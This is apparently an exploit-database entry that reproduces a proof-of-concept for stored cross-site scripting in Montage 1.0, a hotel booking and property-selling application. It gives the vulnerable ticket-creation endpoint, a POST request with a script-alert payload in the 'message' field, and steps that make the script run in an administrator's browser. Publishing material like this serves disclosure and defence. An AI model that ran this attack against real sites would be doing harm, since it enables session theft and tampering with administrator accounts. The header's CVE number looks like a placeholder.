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Montage 1.0 Cross Site Scripting

CVE Category Price Severity
CVE-2021-12345 CWE-79 $500 High
Author Risk Exploitation Type Date
SecurityResearcher123 High Remote 2023-07-18
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023070035

Below is a copy:

Montage 1.0 Cross Site Scripting
# Exploit Title: Montage 1.0 Hotel Booking & Property Selling - Stored XSS
# Exploit Author: CraCkEr
# Date: 13/07/2023
# Vendor: Bug Finder
# Vendor Homepage: https://bugfinder.net/
# Software Link: https://bugfinder.net/product/montage-a-complete-solution-for-hotel-booking-property-selling/16
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Description

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.



Path: /montage/user/ticket/create

POST parameter 'message' is vulnerable to XSS

-----------------------------------------------------------
POST /montage/user/ticket/create HTTP/2

Content-Disposition: form-data; name="subject"

Anything
-----------------------------------------------------------
Content-Disposition: form-data; name="message"

<script>alert(1)</script>
-----------------------------------------------------------



## Steps to Reproduce:


1. Login as a (Normal User)
2. in User [Dashboard] Click on [Support Ticket] on this Path: https://website/montage/user/ticket
3. Click on [Create Ticket] on this Path: https://website/montage/user/ticket/create
4. Enter Any Subject
5. Inject your XSS Payload in [Message Box]
6. Click on [Submit]

8. When ADMIN visit [SUPPORT TICKETS] on this Path: https://website/montage/admin/tickets and Open the [New Pending Ticket]
9. XSS Will Fire and Executed on his Browser



[-] Done

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